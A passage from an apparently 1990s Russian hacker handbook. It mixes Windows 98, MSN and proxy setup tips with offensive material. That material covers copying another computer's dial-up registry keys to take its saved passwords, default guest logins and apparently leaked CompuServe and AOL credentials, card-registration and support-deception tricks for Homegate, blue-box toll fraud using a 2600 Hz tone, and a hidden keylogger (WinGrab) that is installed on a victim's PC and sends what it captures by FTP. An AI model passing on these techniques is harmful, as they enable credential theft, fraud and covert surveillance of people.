HKEY_USERS>Default>RemoteAccess>Addresses,   в    котором    прописаны   все
соединения Dial-Up  Networking  и  копируем их.  Далее  обращаемся  к  ключу
HKEY_USERS>Default>RemoteAccess>Profiles и просматриваем список профилей для
каждого соединения. Копируем и их. В  результате получается несколько файлов
с расширением .REG,  в которых находятся все настройки для соединений, в том
числе  и  зашифрованные  пароли.  Переписываем  их  в  другую  папку уже  на
собственный  компьютер,  запускаем их  через двойной щелчок мыши и  получаем
полную копию  Dial-Up Networking со  всеми настройками, номерами, логинами и
паролями.
     Cеть MSN
     MSN  можно  назвать глобальной  сетью, так  как в этой  сети вы  можете
отправлять  и получать  электронную почту,  подключаться  к  конференциям  и
разговорам, загружать  и  снимать файлы. При  этом, загружаемые вами  в сеть
файлы   и  ваша   активность  в   ходе  конференций   и   разговоров   могут
рассматриваться, изменяться и стираться без уведомления управляющим форума.
     Чтобы настроить  параметры модема для  работы в  MSN, необходимо дважды
щелкнуть пиктограмму MSN на рабочем столе, нажать кнопку Настройка и  просто
перейти  к  настройке  модема.  Диалоговое  окно  свойств  модема  в  Панели
управления можно  не использовать, так как параметры MSN имеют более высокий
приоритет.
     Если у вас возникли проблемы  при  попытке регистрации  в MSN, значит в
вашем регионе отсутствует телефонный номер для бесплатной регистрации.
     Попробуйте  в  диалоговом  окне  Настройка  подключения  нажать  кнопку
Телефоны, затем кнопку  Изменить,  выбрать  номер вашего региона и повторить
попытку соединения.
     Если установить  соединение  так  и  не удается,  обратитесь  в  службу
поддержки Microsoft.
     Конференции  пользователей  MSN  несколько  отличаются  от  конференций
Usenet глобальной компьютерной сети. В MSN группы конференций являются одной
из  услуг  сети  MSN.  Статьи этих  конференций никем не  рецензируются и не
предусматривают какой-либо ответственности авторов подобных статей.
     В  частности, это  означает, что  MSN  не  имеет  собственного  сервера
новостей с протоколом NNTP. Вы не можете посредством приложений типа Trumpet
Newsreader или Forte Agent получить доступ к конференциям MSN.
     MSN среди прочих возможностей включает доступ к Internet. MSN полностью
интегрирована с  обозревателем Microsoft Internet Explorer  4.0  и  снабжена
рядом функций, призванных улучшить ваше сетевое путешествие.
     Если вы  видите  ALT  в папке \Internet  Newsgroups\Popular Newsgroups,
значит  вы имеете полный доступ к ресурсам глобальной компьютерной сети.  По
умолчанию,  т. е. сразу  после  установки MSN, вы  имеете  лишь ограниченный
доступ к ресурсам Internet.
     Если  у  вас нет учетной  записи в Internet, просто зарегистрируйтесь в
Microsoft Network.
     Для этого достаточно  воспользоваться  расположенным  на  рабочем столе
значком MSN и следовать появляющимся на экране указаниям.
     Чтобы  вы смогли войти в MSN  через  своего поставщика  услуг Internet,
корпорация Microsoft разработала новую технологию доступа Third Party Access
(TPA). Эта технология  позволяет  вам  оплачивать время, проведенное  в сети
MSN, только вашему провайдеру.
     Вы можете получить доступ к сети MSN из Internet, используя даже версию
MSN 1.2.
     Чтобы войти  в  сеть MSN через вашего  поставщика  услуг  Internet,  он
должен поддерживать протокол  Point-to-Point  Protocol  (PPP) без каких-либо
сценариев, т. е. в режиме PPP не должно исполняться никаких команд. Если ваш
провайдер отвечает этим требованиям, проделайте следующие шаги:
     n Откройте папку Удаленный доступ к сети и создайте
     соединение с вашим поставщиком услуг Internet
     посредством мастера Новое соединение
     n Установите связь с вашим провайдером и войдите в
     Internet
     n Войдите в режим командной строки MS-DOS и наберите
     ping www.msn.com. Если вы получили доступ к web-узлу
     MSN, то вы увидите что-то похожее на это:
     Pinging machine-name IP-address with 32 bytes of data
     n Теперь щелкните левой клавишей мыши на пиктограмме
     MSN, откройте диалоговое окно свойств Settings, выберите
     connect Using Another Internet Access Provider, нажмите OK,
     а затем Connect
     Если вы используете  Microsoft Network  в качестве доступа к Internet и
являетесь  членом   MSN,  вы  можете  иметь  полный  доступ  к  конференциям
пользователей Internet  через MSN. С другой стороны MSN и Microsoft Internet
Explorer используют различные  протоколы  Usenet,  поэтому вы не  сможете  в
обозревателе Microsoft  Internet  Explorer читать  и  публиковать  статьи  в
конференциях Internet через MSN.
     Используйте для этого в MSN ресурс Newsreader.
     Вы можете совместно  использовать приложение telnet, рабочее соединение
TCP/IP и сеть MSN.
     Для доступа в telnet через MSN вам необходимо:
     n Установить приложение Удаленный доступ к сети
     n Установить MSN 1.2 или выше
     Запустить  из  папки Windows утилиту telnet.exe  только после того, как
будет реализовано соединение TCP/IP.
     Вы можете войти в MSN  через вашего провайдера  или  войти  в  Internet
посредством услуг MSN. Для этого откройте папку Сеть.
     Установив компоненты  Клиент для сетей  Microsoft  Network,  Контроллер
удаленного доступа  и TCP/IP,  добавьте  к  ним  протоколы NetBEUI и IPX/SPX
совместимый протокол. В контроллере удаленного доступа для TCP/IP в качестве
типа драйвера укажите Драйвер NDIS для расширенного режима, а сами  свойства
протокола TCP/IP настройте так:
     n IP-адрес: Получить IP-адрес автоматически
     n Привязка: Клиент для сетей Microsoft Network
     n Шлюз: Незаполненный
     n Конфигурация WINS: Включите распознавание WINS,
     добавьте свой сервер, например 204.118.34.6 или
     204.118.34.11 и отключите использование DHCP для
     распознования WINS
     n Конфигурация DNS: Отключить DNS
     Оставьте ваше первое соединение удаленного доступа в покое  и настройте
второе соединение  удаленного  доступа.  В качестве типа  сервера удаленного
доступа укажите
     PPP: Интернет,  Windows  NT Server,  Windows  98,  а  в  дополнительных
параметрах отметьте Программное сжатие данных. В качестве допустимых сетевых
протоколов укажите  только  TCP/IP.  В  настройках TCP/IP опции  IP-адрес  и
Адреса  вводятся   вручную  выберите  в  зависимости  от  инструкций  вашего
поставщика услуг Internet. Кроме этого, сообщите системе использовать сжатие
заголовков IP и стандартный шлюз для удаленной сети.
     Помните,  что сервер www.msn.com  к  услугам MSN имеет отношение весьма
отдаленное.
     Сеть Sprint Network
     Сеть  SprintNet   --  глобальная  сеть  коммутации  пакетов,  одна   из
крупнейших в  мире в настоящее время.  Cеть Sprint является непосредственным
развитием сети  Telenet --  одной  из первых общедоступных сетей  коммутации
пакетов.
     Владельцами   сети  являются   крупные  американские   коммуникационные
компании
     UTI и GTE. Их дочерней компании US Sprint принадлежит крупнейшая в мире
сеть оптоволоконных каналов, составляющая основу Sprint. К Sprint подключено
около  6000 host-компьютеров и шлюзов (gates)  других  фирм  и  организаций,
предоставляющих     разнообразные    справочно-информационные    услуги    и
обеспечивающих выход в другие сети.
     Эта сеть  считается  безопасной, так как при  работе  с  ней невозможна
потеря информации.  При  работе  с  электронной  почтой вам  предоставляется
специальный "ящик" на сервере,  который подключен с помощью телепроцессора к
системе электронной почты. Сама система максимально  продумана и имеет массу
команд. Под  нее  также есть и лицензионное программное обеспечение, которое
ставится на ваш компьютер вместе с сетью.
     Работа  с  сетью  Sprint  ведется  с  помощью  протокола  Х25,  который
обеспечивает пользователям виртуальный  канал.  Это  значит, что каждый порт
сети имеет  свой адрес, и  если на  другом адресе  находится  компьютер,  то
запросто можно к  нему подключиться. Для передачи  все данные разбиваются на
порции  и  передаются отдельными линиями по  одному каналу. Комплекс  Sprint
эффективно использует  системы  связи,  удешевляя стоимость  задействованных
ресурсов и при этом позволяет ускорить работу с сетью.
     Девиз  Sprint --  конфиденциальность.  Физически и аппаратно невозможно
проследить информацию, передаваемую сетью. О содержании файлов смогут узнать
только те, кому они непосредственно предназначаются. Никто никогда не узнает
адреса, имени и других сведений о вас, если вы этого не пожелаете.
     Звонок на Sprint осуществляется  самой обычной  теpминалной программой.
Вы набиpаете  номеp Sprint (928-6344, 928-0985, 342-8376, 913-7166, 578-9119
или 578-9161) и после соединения теpминал говоpит CONNECT 9600/ARQ/V34b.
     Дальше вам следует набpать @D и нажать enter. Выведутся стpоки:
     SPRINT NETWORKS
     772 11001A
     TERMINAL=(введите D1)
     772 -- это код стpаны, по  России и СHГ.  11001A  -- это номеp хоста, с
котоpого  вы вошли.  То есть,  получив  ответ напpимеp 772  11001F вы должны
подозpевать, что существуют хосты 11001A,B,C,D. То есть, возможно существуют
еще телефоны Sprint в вашем гоpоде.
     После @  вы должны  набpать  номеp сети -- NUA -- Network User Address,
т.е.  число,  задающее  сетевой   адрес  пользователя.   NUI  (Network  User
Identificator) -- код  доступа и пароль. DNIC (Data  Network  Identification
Code) --  код  сети,  представляет из  себя четыре цифры, которые  в  полном
сетевом адресе задают код сети данных.
     Если у вас нет ID и пароля, попpобуйте ввести следующее:
     login: guest/demo/new/bbs/help/info/newuser/anonymous/test
     passw: guest/demo/new/bbs/help/info/newuser/anonymous/test
     Sprint входит в состав консоpциyма  Global  One,  как  и другие крупные
сети коммутации пакетов: SITA aka SCITOR, Infonet, Tymnet  и  другие. Global
One  имеет  пpедставительство  (как электpонное  так и  физическое) в каждой
кpyпной стpане (модемный  телефон:  967-6767,  голосовой телефон:  705-9170,
адpес домена: global-one.net)
     Если хакер взломает именно спpинтовый xост, то его могут и привлечь, но
это в эависимости  от того как глубоко он залез, и знают  об этом или нет. А
если хакер pасковыpял  какую-либо сетку или что-нибудь еще чеpез  Sprint, то
вpяд ли. Sprint  наплевать кто чеpез него бpодит.  Пpоблемы могут возникнуть
от того к кому залез хакер.
     В    Internet   можно   узнать   об    услугах   сети    Sprint   через
http://www.sprint.com, http://www.sprintlink.net или http://www.rosprint.ru.
     Через Sprint доступны следующие службы:
     CompuServe Network
     Address: 202 202
     User ID: 177000,1005
     Password: EXPLORE/WORLD
     Program: WinCIM v3.0
     Для  соединения с  Compuserve Network  (а не с самим Компусервом) через
Sprint, нужно  ввести  те  же  X.25  адреса (что и  для  Компусерва),  но  с
указанием пятого порта: 202201E (или 202201.05), 202202E, 202203E,  614227E.
Как появится приглашение Host, введите мнемонику N2KRF1.
     Microsoft Network
     Address: 03110 83501000
     Program: MSN v5900
     America On-Line
     Address: 83420178.83
     User name: 2230033368
     Password: ELITES-GOLF
     Program: America On-Line v3.0
     GEnie
     Address: unpublished
     User ID: only god knows
     Program: telix
     Cканирование  Sprint -- последовательный перебор адресов (NUA).  Делать
это вручную  очень  долго -- для этого  используются разнообразные программы
или скрипты.
     Лучшая -- Sprintnet Scanner v1.5.
     Сеть Dialog
     Диалог  является  одной из  самых  обширных  информационных  служб.  На
сегодняшний день Диалог предоставляет доступ к более чем 600 базам данных. В
России существует несколько  сетей,  имеющих  свободный  (Reserved Charging)
выход  на службу Диалог  и даже  работает  мнемоника (DIALOG)! Cоединиться с
Диалогом   можно   через   SprintNet   (мнемоника:   DIALOG,  X.25   адреса:
0311041500048, 0311041500049,  0311041500020).  После соединения  вы увидите
приглашение:  DIALOG  INFORMATION SERVICES.  Логин,  как  правило,  является
шестизначным номером,  а пароли обычно имеют длину восемь знаков (большие  и
маленькие  буквы  чередуются  с  числами).  Если  пароль  угадан,  то  после
некоторых сообщений вы получите промпт - "?"
     Номера некоторых баз данных сети Dialog:
     75 Management Contents
     201 ERIC
     204 CA Search
     205 BIOSIS Privews
     208 Compendex
     213 INSPEC
     215 ABI/INFORM
     216 PTS Prompt
     229 Drug Information
     231 CHEMNAME
     247 Magazine Index
     250 CAB Abstracts
     254 Medline
     290 Dialindex
     296 TrademarkScan
     К этим базам данных возможен доступ с  помощью клиентского софта Knight
Reader и Dialoglink:
     ftp://iserv.dialog.com/pub/WWW/quickstart/setup.exe
     ftp://iserv.dialog.com/pub/WWW/dlkdos.exe
     ftp://iserv.dialog.com/pub/WWW/dlkdos.zip
     ftp://iserv.dialog.com/pub/WWW/dlkwin.exe
     Техническая  поддержка  Диалога  доступна  бесплатно  через  российских
операторов MCI или AT&T или Sprint Global-One.
     Сеть Homegate
     Homegate -- является дочерней компанией I-Pass и предоставляет доступ к
Internet  практически  во  всех  странах мира  по  протоколу Х.28 через Sita
network,  BBN Network и  UUNET. В  России  сеть Homegate доступна через сеть
Sita NetWork (Equant).  Dialer соединяет вас  с сервером корпорации  I-Pass,
где  и  происходит проверка  пароля. Для прохождения регистрации  в Homegate
необходимо уже иметь вход в Internet, и находясь на линии запустить Homegate
Dialer,  затем  нажать  в диалере  кнопку  Register  (запустится  браузер  и
соединит хакера с сайтом регистрации).
     После прохождения регистрации хакеру будет послан файл с ID и паролем.
     Кредитка проверяется  не  во  время, а после прохождения регистрации, в
течении  10-20  минут,  поэтому подбирать  префиксы  --  гиблое дело.  Хакер
узнает, прошел он регистрацию  или нет только  по  истечении этого  времени,
позвонив с помощью Homegate Dialer.
     Если  хакер  вошел в  Internet ,  то  проходить  регистрацию необходимо
каждые два дня,  так как все договора, заключенные в России, прерываются для
"расследования".
     Чтобы не переустанавливать  Homegate Dialer для повторной  регистрации,
хакеру достаточно удалить файлы user.idx и user.dat.
     Если письменный английский хакера достаточно красноречив, чтобы убедить
администрацию сети Homegate в  том, что он американец, находится  в России и
возмущен  подобным  небрежным  отношением,  то хакеру  без  особых  проблем,
обратно активируют доступ.
     Письмо  пишется  не  в  HELPDESK@HOMEGATE.COM, а  прямо на тот адрес  с
которого хакеру  пришло  сообщение  о том, что он  новый пользователь.  Если
хакер удачно проделает все эти процедуры, у него будет доступ в Internet уже
через первый прозвон с CPS до 4000.
     Программу       Homegate      Dialer       хакер       загружает      с
http://www.homegate.com/howget
     Прокси в Microsoft Internet Explorer
     С помощью раздела Прокси-сервер вы можете подключиться к Internet через
прокси-сервер вашей локальной  сети. Для этого поставьте флажок Подключаться
к  Интернету  через  прокси-сервер  и  введите  в поля  данных  Адрес  адрес
прокси-сервера, а в поле данных Порт задайте номер порта.
     В общем случае,  обозреватель  Microsoft Internet  Explorer  не требует
параметров близлежащих узлов или так называемых прокси-серверов, то есть тех
сетевых  служб,  через которые  вы непосредственно работаете  с Internet.  С
другой  стороны,  конфигурация  некоторых  сетевых   соединений  блокируется
брандмауэрами.   Как   известно,  информация  защищается   брандмауэрами   в
компьютерах  внутренних  сетей от всеобщего доступа.  При этом,  брандмауэры
могут  ограничивать  способность Microsoft  Internet  Explorer  обмениваться
информацией  с  внешними  источниками.  Чтобы  преодолеть  это  ограничение,
Microsoft Internet  Explorer  позволяет вам взаимодействовать только  с  тем
программным обеспечением,  которое вам предоставляет ваш  провайдер Internet
или главный сервер вашей локальной сети. Все это  дело работает по мудренной
схеме.
     Прокси-сервер ретранслирует брандмауэр и обеспечивает связь  с заданным
протоколом сетевой  службы.  Поэтому, если  вы запустили  Microsoft Internet
Explorer через брандмауэр, вам необходимо указать номера логических портов и
ассоциировать номер  каждого порта под соответствующую службу сервера.  Если
же вы не хотите устанавливать параметры ретранслятора, просто снимите флажок
Подключаться к Интернету через прокси-сервер.
     Вы можете  вручную определить  службы  и  задать номера соответствующих
логических   портов  вашего  прокси-серевера.  Для   этого  нажмите   кнопку
Дополнительно  и  в  диалоговом  окне  Параметры  прокси-сервера  установите
параметры для каждой  службы Internet  и укажите  сервисные службы,  которые
поддерживает ретранслятор. Ими могут быть:
     n HTTP (HyperText Transfer Protocol)
     n FTP (File Transfer Protocol)
     n Gopher
     n Security (Secure Sockets Layer protocol)
     n WAIS (Wide Area Information System)
     n SOCKS (Сокеты)
     В полях данных  Адрес  прокси-сервера вы  должны указать имя  хоста для
каждого протокола соответствующей службы.
     Как правило, один прокси-сервер работает с тремя основными протоколами:
HTTP, FTP  и Gopher. В  поле  данных  Адрес  прокси-сервера вы  также можете
ввести IP-адрес прокси-сервера.
     На одном компьютере может быть запущено несколько сетевых служб, каждая
из  которых  идентифицируется   логическим  портом.  Этот  порт  принадлежит
прокси-серверу,  такому  как  HTTP  или   FTP.   Как  правило,  в   Internet
используются  стандартные номера логических портов. Например,  протокол HTTP
использует 80-й порт, а FTP -- 21-й.
     Вы можете  сообщить  обозревателю,  чтобы он не  использовал  параметры
сетевых  служб  локального  домена.  Например,  если  вы  определите в Адрес
прокси-сервера   bob.leon.com   и   укажите   в   поле   данных   Исключения
abob,bbob,leon.com,  то все необходимые  протоколы  HTTP  для  abob, bbob  и
leon.com  будут  использоваться  напрямую,   то  есть   игнорируя  параметр,
введенный в поле Адрес прокси-сервера.
     Раздел Автоматическая  настройка предназначен  для  весьма  продвинутых
пользователей.  Через  кнопку  Настройка  происходит   обращение  к  диалогу
Автоматическая настройка, с  помощью которого системный администратор  вашей
сети может загрузить файл настроек Internet Explorer. Как правило,  в  такой
файл  включаются  некоторые параметры  работы  Internet Explorer, касающиеся
начальной страницы и настроек прокси-сервера.
     Система безопасности Microsoft Internet Explorer
     В  диалоговом окне Свойства  обозревателя через вкладку Безопосность вы
можете  установить  параметры  работы   с  системой  безопасности  Microsoft
Internet Explorer.
     В Microsoft Internet Explorer имеется, мягко говоря, небольшая лазейка,
позволяющая  переконфигурировать  его брандмауэр, так как вы это  пожелаете.
Именно через этот пресловутый брандмауэр  вы можете, например,  без  особого
труда вакцинировать систему. Кстати, это  многими и  очень многими делалось.
Причем,  взлом  защиты Microsoft  Internet  Explorer может быть  осуществлен
несколькими способами, каждый из которых совершенно не связан с предыдущими.
Microsoft Internet Explorer  даже не определит того, кто хотел взломать вашу
систему. В этой программе  невозможно определить так называемую  зону риска.
Поэтому,   именно  через  брандмауэры  Microsoft  Internet  Explorer  ищутся
отправные точки захвата всей системы.  Например, простейшая атака программой
rlogin  через  отдельный компьютер большой сети позволяет перечеркнуть двумя
жирными  полосами нижепубликуемое описание  опций  системы  защиты Microsoft
Internet Explorer.
     Изменение имени пользователя и компании в Windows 98
     Если вы хотите  изменить имя пользователя и компании, откройте редактор
реестра в HKEY_LOCAL_MACHINE/
     SOFTWARE/MICROSOFT/WINDOWS.  Дважды  щелкните  левой  клавишей мыши  на
ключе REGISTERED OWNER или
     REGISTERED ORGINIZATION и просто введите новое имя.
     Установка связи по модему между двумя удаленными компьютерами в Windows
98
     Если вы  хотите  установить  связь  по  модему  между  двумя удаленными
компьютерами,  то  прежде  всего  компьютер, с которым вы пытаетесь наладить
связь  должен  быть  сервером  удаленного   доступа.  (Удаленный  доступ   к
Соединения к Сервер удаленного доступа к Allow caller access).
     Теперь  создайте  соединение  удаленного   доступа  и  нажмите   кнопку
Установить связь.
     Установив  связь, через  Мой компьютер  поключите к  своему  компьютеру
доступный сетевой диск исходного сервера удаленного доступа, задав его так:
     \\<имя удаленного компьютера>\<буква диска без двоеточия>
     HyperTerminal и два удаленных компьютера в Windows 98
     n откройте программу HyperTerminal
     n на одном из компьютеров отмените звонок
     n установите "соединение" с удаленным компьютером
     n наберите ATS0=N (N -- количество звонков перед
     снятием трубки), ваш модем перешел в режим ожидания
     n теперь другой компьютер должен набрать ваш телефонный
     номер
     Удаление пароля в Windows 98
     Для того, чтобы удалить пароль, найдите файл с расширением .PWL в папке
Windows, уничтожьте его и перезапустите систему.
     Изменение адреса IP без перезагрузки системы в Windows 98
     Если вы хотите  изменить адрес IP  без перезагрузки системы, откройте в
Редакторе                 реестра                 раздел                 Мой
компьютер\HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\MSTCP   и
сохраните этот  раздел  как файл с расширением  .REG.  После этого  измените
адрес  IP,  откройте  Проводник и запустите отредактированный  таким образом
файл  двойным  щелчком клавишей  мыши. Если  на  экране появилось  сообщение
"Записи успешно  внесены в реестр", то вы изменили адрес IP без перезагрузки
системы.
     Установка двух интерфейсов IP на один сетевой адаптер в Windows 98
     Если  вы хотите установить два интерфейса IP  на один  сетевой адаптер,
просто  добавьте  еще  один протокол  TCP/IP и настройте  его через  вкладку
Конфигурация диалогового окна свойств Сеть.
     Windows 98 и модем на COM4
     При   правильной  установке  джамперов,  система  способна   произвести
правильную конфигурацию вашего модема посредством технологии автоматического
распознавания устройств. Но иногда случается так, что COM-портов не хватает,
а вам необходимо установить модем. Тогда остается только
     одно -- подключить это устройство на третий или четвертый
     COM-порт.  Тут-то  вам  и  нужно  учесть  одинаковые  прерывания   IRQ.
Например,   прерывание   четвертого  COM-порта  может  быть   занято   вашим
видеоадаптером,  а  первый  COM-порт  всегда  имеет  в отношении  прерываний
больший приоритет по сравнению с четвертым COM-портом.
     Если система вообще не видит четвертый COM-порт, проверьте еще раз  все
джампера и просто заставьте Windows 98 обновить аппаратную базу данных.
     Защиты системы в Windows 98
     Концепция  безопасности  компьютера   подразумевает  защиту   всех  его
компонентов -- аппаратные средства и  приложения -- от  несанкционированного
доступа  из  локальной сети  или  Internet. В Windows 98  любой пользователь
вашего   компьютера  может  зарегистрироваться  в  системе.  При   этом  имя
пользователя и пароль могут быть такими же, как и при входе в сеть.
     Концепция безопасности  в Windows  98 весьма примитивна. В этой системе
вы,  как  администратор,  не можете  создать  группу  пользователей, завести
учетную  запись пользователя,  изменить  права  пользователя. Вместо  весьма
продвинутого   Диспетчера  пользователей  эта  система  предлагает  довольно
простенькое диалоговое окно свойств Пароли.
     Все это,  конечно же, означает, что Windows  98 вообще не  обеспечивает
никакого уровня безопасности.  Вы, как владелец  собственного компьютера, не
можете   управлять   собственными   ресурсам,   заводить   журнал   событий,
ограничивать  доступ  к  тому  или  иному  ресурсу.  Вы  ничего  не  можете!
Идентификатор пользовотеля ID? Нет! Эти вещи можно делать только в
     Windows NT.  SID!  SID!  SID! SID!  SID! SID! SID!  Забыть и  все  тут!
Никаких кодов безопасности! Доступ только в NT!
     Не вы,  а сама  система может создать  нечто,  напоминающее  уникальную
запись,  которая   идентифицирует   того   или   иного  пользователя  вашего
компьютера.
     Никакого контроля, учета и отслеживания.
     Вы, конечно,  администратор!  Но  концепция  безопасности Windows 98 не
подразумевает тот факт, что вы имеете законное право распоряжаться ресурсами
собственного компьютера.
     Речь идет о  том,  что механизм безапосности  в Windows  98  реализован
только на уровне регистрации пользователя.
     Вам  предлагается  так   называемая  унифицированная  регистрация.  Это
означает, что однажды  введенный эккаунт (пароль и имя пользователя) в  окне
регистрации при  загрузке системы  используется для доступа ко всем службам,
приложениям и аппаратным ресурсам вашего компьютера.
     Хорошо подобранный пароль, в  принципе, способен защитить  вашу систему
от проникновения в нее нежданных гостей. Поэтому:
     n никогда не записывайте свой пароль на бумаге

     n не пользуйтесь очевидными паролями
     (имена, названия городов)
     n никогда не отправляйте свой пароль по электронной
     почте
     n используйте разумное количество символов при
     составлении пароля, иначе вы забудете его в один
     прекрасный момент и не сможете изменить никогда
     С  помощью вкладки Смена паролей  диалогового  окна  свойств Пароли,  к
которому  вы  можете  обратиться  из  Панели управления посредством двойного
щелчка клавишей мыши на значке Пароли, изменяются параметры  унифицированной
регистрации  всех  ресурсов  вашего компьютера  посредством  задания  нового
пароля пользователя.
     Задать  новый  пароль  можно  через  вкладку   Настройка  пользователя,
обратиться к которой вы можете посредством двойного  щелчка клавишей мыши на
пиктограмме Пользователи, находящейся в Панели управления.
     Если  вы хотите  установить  защиту  на  тот  или  иной  ресурс  вашего
компьютера, например, разделить  доступ к  файлам и принтерам, прежде всего,
сделайте так, чтобы этот ресурс стал разделяемым.
     Более  подробную   информацию   вы   можете   получить   у   системного
администратора вашей компании.
     Windows   98   позволяет    управлять   ресурсами   вашего   компьютера
пользователям, которые имеют удаленный доступ к  вашей системе. Для этого вы
должны  добавить соответствующую службу с помощью вкладки Сеть, обратиться к
которой вы можете из Панели управления. Только после этого в диалоговом окне
свойств Пароли появится новая вкладка Удаленное управление.
     Наезд на web-мастера
     Путешествуя по Internet, вы, наверное, обратили внимание  на  различный
вид  web-страниц.  Некоторые  страницы выглядят весьма красиво  и  до отказа
заполнены  нужной вам  информацией.  Другие  -- безобразны,  отвратительны и
заполнены, как правило, всякой ерундой. Разработкой и  тех и  других страниц
занимаются  пользователи, называющие себя web-дизайнерами или web-мастерами.
Понятно, что хороший  web-дизайн  напрямую зависит от того, как пользователь
владеет интеллектуальной дисциплиной, называемой web-дизайном.
     Если вы программист,  никогда не пускайтесь в авантюры типа "Разработка
web-сервера". Поверьте,  это не для вас. Web-дизайн  --  это далеко не  коды
HTML!  Именно на этих самых кодах зацикливаются многие программисты, забывая
про
     главное   --    красивый   дизайн,   функциональность   и   содержание.
Профессиональный дизайн web-страничек и  серверов WWW не может быть выполнен
программистом.
     Зачем вам нужен Domain Name Server
     Каждое  подразделение Internet  имеет два  домена. Основной DNS  обычно
располагается на сетевой машине.
     DNS-сервера  используют в своих обращениях к удаленным  узлам 32-битные
адреса IP, мнемонически заключенные в четырехразрядную буквенную комбинацию.
Любой  хост может  получить соответствующий DNS у ближайшего информационного
сервера DNS  по известной  системе Domain Name Server через сетевой протокол
DNS.  Просто  хост  посылает  запрос на известный IP-адрес DNS-сервера  свой
IP-адрес  и имя  сервера.  Сервер  DNS  штудирует  собственную  базу данных,
находит  IP-адрес  и  отправляет  на  хост соответствующий ответ  DNS. Схема
весьма  примитивная.  Если  же  сервер  DNS  не  находит  искомую  буквенную
комбинацию,  то  он  отсылает запрос  на  так  называемый  корневой  сервер,
который, в свою  очередь, сверяет информацию с файлом  настроек  root.cache.
Так происходит до тех пор, пока имя хоста не будет найдено в Internet.
     Принципы действия BlueBox
     Управление   приборами   на   АТС  (набор  номера,   состояние   линии)
осуществляется   постояным   током.   Однако   это  справедливо  только  для
абонентских линий и частично -- для соединительных. В межузловой сети, как и
в  междугородной, стоит  аппаратура уплотнения  каналов, усиления сигналов и
т.п.,  которая не  может передавать  постоянный  ток. Однако станции  как-то
должны сигнализировать о своем состоянии друг-другу. Для этой цели применяют
различные  системы  сигнализации. Для  двухпроводной  линии наиболее удобной
оказалась частотная сигнализация в полосе частот телефонного канала  (300 --
3500 Hz), которую пропускает оборудование усиления и уплотнения.
     Узлы соединены между собой некоторым количеством соединительных линий.
     Чтобы обозначить, что узел не занимает линию,  он  подает  в нее сигнал
частотой 2600 Hz.  На  свободной линии этот сигнал  идет с обеих сторон  (от
обоих  узлов). Когда узел хочет связаться с  другим узлом, он должен выбрать
свободную линию. Для этого  оборудование просматривает по  очереди все линии
на  наличие сигнала 2600 Hz, поступающего с удаленного узла. Наличие сигнала
означает, что линия свободна, и узел подключается к ней. При этом он снимает
сигнал 2600 Нz со своей стороны, что означает, что линия им занята.
     С  удаленного узла сигнал 2600  Hz все  еще поступает  в линию.  Вы  не
слышите   его,  так  как   на  его   пути  установлен  узкополосный  фильтр,
"вырезающий"   этот   тон.  2600  будет  подаваться  удаленным  узлом,  пока
вызываемый абонент не  снимет трубку. Наш узел опознает пропадание сигнала с
удаленного  узла,   как  признак  того,  что  разговор  начат,  и   начинает
накручивать за  него  бабки. По окончании разговора узел, чей абонент вешает
трубку, опять подает в линию сигнал  2600  Нz, означающий,  что  данный узел
прекратил разговор и освободил линию. Так работает эта система сигнализации.
     Теперь  предположим, что вы звоните другу в другой город  N.  Набираете
его номер.  Ваш междугородний узел ищет свободную связную линию, на  которую
из N подается 2600 Hz. Найдя такую линию, он  соединяет вас  с ней и убирает
со своей стороны  сигнал  2600 Hz.  Узел  города  N понимает это как  запрос
начать связь. Далее ваш узел передает узлу города N номер вашего друга, и вы
наконец  слышите гудки вызова. У друга звонит телефон. Все это время 2600 из
города N поступает на ваш узел, поэтому он не  начисляет пока деньги. Теперь
предположим, что  мы сами  подали  в линию  сигнал 2600  Hz. Узел  города  N
"слышит"  этот  тон  и  думает, что  вы у себя  повесили трубку, и  ваш узел
освободил   линию.   Соответсвенно  он  прекращает  вызывать  вашего  друга,
сбрасывает и  готовит оборудование  к  новым вызовам (это занимает не  более
секунды). Теперь вы перестаете подавать тон  2600  Hz. Узел города N думает,
что  с вашего  узла пришел новый запрос  на  связь, и готов  принимать номер
абонента. При этом,  благодаря звездообразной  структуре сети, узел города N
может  связываться с  другими городами  и  странами,  если  набираемый номер
содержит код страны и/или города.
     Таким  образом,  позвонив  сначала  в  соседний город  N  и  перехватив
управление  сетью,  вы  можете звонить в любое место,  куда сможет "звонить"
узел  города N.  При  этом ваш узел зарегистрирует только звонок в город N и
ничего  не  будет знать  о дальнейших  ваших  действиях. Значит,  по  тарифу
соседнего городка вы можете  звонить практически в  любую стану мира. Звонок
может быть и вообще бесплатным, если вы сначала набираете номер какой-нибудь
всероссийской бесплатной службы.
     Съемщик паролей Wingrab
     Весьма интересная  хакерская программа WinGrab  предназначена для съема
всякой разной  информации  с  компьютеров, работающих  под  Windows  95  или
Windows  NT.  Эта  программа  позволяет  отслеживать  содержимое Windows  по
горячим словам, а также клавиатурный ввод. Информация собирается в локальном
файле или может быть передана через Internet на указанный FTP-сервер.
     Последняя версия WinGrab поддерживает только одно добавочное  слово, но
грамотное  его  применение  помогает  значительно увеличить  круг  снимаемой
информации (например добавочное слово "Subject:" скорее всего позволит иметь
всю переписку донора  без заглядывания на его почтовый сервер).  Аналогичное
применение может найти и кракозябла @.
     Способ запуска WinGrab на компьютере-доноре --  установка  программы  с
дискеты. Программа  принципиально не сделана  ни в виде трояняца, ни  в виде
вируса,  по  разным  соображениям.  Однако  установка  программы  с  дискеты
оптимизирована  таким  образом,  что  занимает всего от 10  до  35  секунд в
зависимости от наличия на доноре необходимых библиотек.
     Будучи единожды  установлена,  программа  запускается  каждый  раз  при
старте операционной системы и выглядит  в списке задач как  System.  Попытки
снять  задачу  System,   естественно,   безуспешны,  что  вводит  неопытного
пользователя в благое заблуждение.
     Пример файла ../etc/passwd
     root:*:0:0:Charlie &:/root:/bin/csh
     toor:*:0:0:Bourne-again Superuser:/root:
     daemon:*:1:1:Owner of many system processes:/root:/nonexistent
     operator:*:2:20:System &:/usr/guest/operator:/bin/csh
     bin:*:3:7:Binaries Commands and Source,,,:/:/nonexistent
     games:*:7:13:Games pseudo-user:/usr/games:/nonexistent
     news:*:8:8:News Subsystem:/:/nonexistent
     man:*:9:9:Mister Man Pages:/usr/share/man:/nonexistent
     uucp:*:66:66:UUCP
pseudo-user:/var/spool/uucppublic:/usr/libexec/uucp/uucico
     xten:*:67:67:X-10 daemon:/usr/local/xten:/nonexistent
     nobody:*:65534:65534:Unprivileged user:/nonexistent:/nonexistent
     ftp:*:14:14:Anonymous FTP Admin:/usr/ftp:/bin/date
     Хакерские конференции
